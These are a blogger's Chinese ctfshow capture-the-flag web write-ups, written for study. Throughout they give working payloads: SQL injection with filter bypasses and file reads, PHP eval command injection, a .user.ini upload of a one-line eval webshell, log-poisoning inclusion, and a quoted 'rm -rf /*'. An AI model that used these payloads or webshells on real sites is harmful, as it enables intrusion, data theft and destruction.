点击取消按钮,出现源码
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功
";
echo $flag;
}
}
}
?>
过滤了很多注入语句
这里主要用group by和with rollup相结合
group by不说了就是一个排列,默认升序
with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
结果中将会多出一行,其中password列为null,count(*)为统计和。
例如:
select password,count(*) from test group by password with rollup;
所以我们构造payload:
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL),/**/用来绕过空格过滤
即可获得flag
ctfshow{d89ccf86-5ac9-4429-95e0-ea40b0afba89}
可以看到php代码有很多限制
注意到获取flag的方式 $password==$_SESSION['password']
,password是由我们自己输入的,session中的password存储在本地,所以我们只需要输入空密码,并且将本地的session删除即可成功绕过。
得到flag:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}
有提示cmd变量,说明很可能后台具有代码执行的函数
输入phpinfo();查看php配置信息
发现禁用了很多命令执行的方法
还可利用highlight_file(“index.php”);查看源代码
这里再介绍一个php的函数glob();
glob() 函数返回匹配指定模式的文件名或目录。
举个例子:
glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件
有了这个方法我们先把当前目录下所有的文件找出来看看有没有可用的。输入?cmd=print_r(glob(“*”));打印出了如下文件
再读取文件
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
获取flag:
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}
发现upload.php,尝试upload.php.bak获取源码文件
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
获取到源码,发现限制条件文件的大小<=24,名字长度<=9,后缀长度<=3,并且名字和后缀不能有php
于是可以构造这样的木马
<?php eval($_POST['a']);
由于后缀原因先上传2.txt
再上传.user.ini文件。
对于php中的.user.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻,也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =2.txt,这样在该目录下的所有文件都会包含2.txt的内容
//
蚁剑连接上之后我们发现没有对文件操作的权限,所以我们直接在网页上查找flag。
利用POST提交
a=print_r(glob("*"));
再利用highlight_file()获得flag
a=highlight_file("文件名");
来到页面
首先看到case语句,下面主要是输出三个东西‘$url’,'@A@'和$url.
我们想要看到的是$url,因为这是一个变量,输出才有内容,另外两个用单引号包含失去了特殊意义。
观察到下面的语句,当c=3时,将会输入变量,因为break在最下面,会执行完语句后再跳出
当c=3时我们看到一个php文件,访问后来到一个提交框,第一时间想到sql注入。
先看页面源代码
发现过滤了常用的表,空格,那么我们应该想到使用其他的数据库和表去绕过
这里我用的是这两个表,information_schema.PARTITIONS和information_schema.KEY_COLUMN_USAGE
可以看到和information_schema.tables//columns差不多,可以替换使用
首先判断出页面是数字型注入,只有一列数据。
1/**/order/**/by/**/1
-1/**/union/**/select/**/database()%23
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.PARTITIONS/**/where/**/table_schema='web'%23
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.KEY_COLUMN_USAGE/**/where/**/table_schema='web'/**/and/**/table_name='content'%23
但是只有id,应该是这个表的问题,我看别人用反引号绕过,使用cloumns表可以看到id,username,password三个字段
但是当我们查看字段数据时,告诉我们flag不在这儿,提示去看secret.php文件
我们利用load_file();去查看文件
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')%23
也就是如果/tmp/gtf1y中的内容为ctf.show则输出/real_flag_is_here中的值,所以我们直接将/real_flag_is_here读取即可得到flag。
-1/**/union/**/select/**/load_file('/real_flag_is_here')%23
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
一直尝试了很久,这真的是签到题型吗?看了大佬的wp,总结一下
考察的是:请求方式和赋值的关系,还有Cookie字段的中文编码问题。
主要就是最后这个一句话木马的利用,嵌套的有点多,来理一下:
首先最里面是‘CTFshow-QQ群:’,前面是$_COOKIE,也就是取的是cookie中‘CTFshow-QQ群’的值;
那如果我们在cookie中传入 CTFshow-QQ群:=a
,那么一句话木马就变成了:
eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);
那么$_POST[a]就是要以POST方式传入的a参数的值,我们将传入a=b
,那么就变为了:
eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);
$_GET[b]也就是要以GET方式来传入b参数的值,我们再给b赋值b=c
,就得到:
eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);
$_REQUEST[c][6][0][7][5][8][0][9][4][4]
,其中$_REQUEST
是以任何一种方式请求都可以,c为数组,$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]
的值。因为PHP数组是可以指定ID键分配值的.
那么我们就可以给C数组中的这些键直接赋值:
c[6][0][7][5][8][0][9][4][4]= system('ls /');
于是我们用POST形式发包,同时注意“群”
要用url编码为%E7%BE%A4
,否则burp不识别(给c赋值时可以放在请求头也可以放在请求实体中,因为request请求方式无论是用get还是post形式都可以接受)
这里我便捷使用hackbar
由此我们便得到了flagaaa文件,输入命令cat /f1agaaa
得到flag
收获很多
来到页面
提示有信息需要去找,尝试使用御剑和dirsearch找目录没有发现,后面看到页面源代码
看到了flag的部分信息,又跟具体提示到控制台
提示运行方法找flag,运行后
发现flag后半段信息,拼接即可。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
可以看到采用post方法传入参数,这里考察的就是变量的嵌套,一串的$
变量,最初的变量应该是_
,所以我们需要依次定义变量,在做后赋值为命令执行语句system('ls /');
并且变量不能重复
不太会写脚本,参考大佬的
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')
可以看到源代码,提示flag在id=1000,但是大于999就会报错
这里我想用什么方法绕过1000,但是忘记了,采用了最原始的union select 联合注入,因为这里没有设置过滤,就比较简单
最终
?id=-1 union select 1,group_concat(id,title,content),3 from web1.article --+
得到flag
后面也去学习简便方法,发现使用了intval()函数去判断
1、intval() 函数可以获取变量的「整数值」。常用于强制类型转换
绕过思路:当某个数字被过滤时,可以使用它的 2进制/8进制/16进制来绕过。
2、intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。
绕过思路:对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
3、intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。
绕过思路:当某个数字被过滤时,可以给它增加小数位来绕过。
4、intval() 转换字符串类型时,会判断字符串是否以数字开头
如果以数字开头,就返回1个或多个连续的数字
如果以字母开头,就返回0
5、intval() 函数支持一些特殊符号的,比如~取反。
绕过思路:当某个数字被过滤时,可以两次取反来绕过。
6、intval() 函数支持算数运算符,如果传入的 $var参数包含算数运算符,会先运算,再对运算结果进行转换。
绕过思路:当某个数字被过滤时,可以使用算数运算符绕过。
来到页面,发现和上一题差不多,但是这次使用的是
preg_match函数过滤了or,没啥用,可以通过正常注入得到flag
?id=-1 union select 1,group_concat(id,title,content),3 from web2.article --+
?id=-1 || id=1000
取反
?id=~~1000
运算符
?id=10*100
等多种方式
同样的过滤了一些字符,可以采用上面的运算符,取反等方式绕过
这次新增了过滤select语句,可以通过取反绕过
可通过进制变换和取反绕过
可通过取反绕过
终于换了个题目了,来到页面
这里其实思路很简单,但是要我们提交的flag值要等于key的值,但是key得值怎么获得呢?想了很久还是不清楚,去找了其他师傅的解题,蛙趣,逆天。
?flag=rm -rf /*
来到页面
开始我还以为是过滤了system,exec这些命令执行的函数呢,结果是要含有,这就比较简单了,提示flag在config.php文件当中。
?c=system('tac config.php');
和第九题类似,但是是限制有system和exec这样的命令执行函数。
可以使用show_source()函数
?c=show_source('config.php');
新增了限制cat,那么仍然可以用第10题的解法,而且还有很多其他解法
与11题类似,又过滤了几个,那么可采用通配符的方式去绕过
?c=passthru('tac con*');
?c=passthru('tac `ls`');
这次连;也过滤了,刚开始没有想到解决办法,后面发现可以用?>表示PHP代码结束替换
?c=passthru('tac conf*')?>
这次对$c做了比较严格的过滤,括号也过滤了,但是基于php的特性,我们可以采用php伪协议绕过
?c= include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
和上一题类似,虽然增加了几个过滤,但是把之前的;放出来了,可将上面的payload修改一下即可
?c=include$_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
同时可以考虑post方式去提交参数
?c=echo `$_POST[a]`;
源代码hacker post传递:a=cat config.php
ctfshow36d
所以payload为
?c=36d
来到页面
根据提示采用的是文件包含,这里使用的是包含日志文件,在user-agent中写入一句话木马进行连接
通过抓包可以看到目标服务器是ubuntu系统
默认日志文件在/var/log/nginx/access.log 或者 /var/log/nginx/error.log
可以看到,包含成功,日志显示的是user-agent字段信息和url,那么我们可以在字段中写入一句话木马,进行尝试连接
新增了file过滤,但是依旧可以使用上一题的方法,包含日志文件解题
和之前一样,日志包含,出题者是没考虑到日志包含吗,几道题都重复了。
怎么还是日志包含?
一样的日志包含
来到页面
这直接把路径跳转符给过滤掉了,确实难搞,没啥头绪
参考大佬解法
https://www.cnblogs.com/Egcrying/p/17665041.html
来到页面是个文件上传解题
写一个一句话木马,上传
上传成功,但是访问不了,应该是考的条件竞争。
参考大佬解题脚本
https://wp.ctf.show/d/131-23-24
同上web23
?1=>nl
创建一个名为nl的空文件
nl(number line)命令用于计算文件的行号并将带有行号的内容输出到标准输出。
例如,这里有一个1.txt文件,内容是:
abc
abc
abc
使用nl命令显示
nl 1.txt
1 abc
2 abc
3 abc
?1=*
表示以第一个文件名为命令去执行,其他文件作为参数,这样就可以查看到文件里的内容了
来到页面
可以看到要我们POST提交code参数,会通过eval函数当做php代码执行,但是过滤了?。
这里我尝试了编码,多写等方式,发现不行,只能找不需要?标签也能执行的php语句写法。
通过这样的方式成功执行代码并找到flag
同时也查资料学习了下这方面的知识点PHP标签的几种写法
1、 // 常规写法
2、 ?>
注:
利用短标签写法可以绕过一些对php字符的过滤
Windows环境中短标签默认是打开的,Linux下 默认是关闭的。
控制参数: php支持短标签,需要我们把short_open_tag 设置为On.
3、<% %>
注:需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。
4、
后续会一直分享ctfshow做题笔记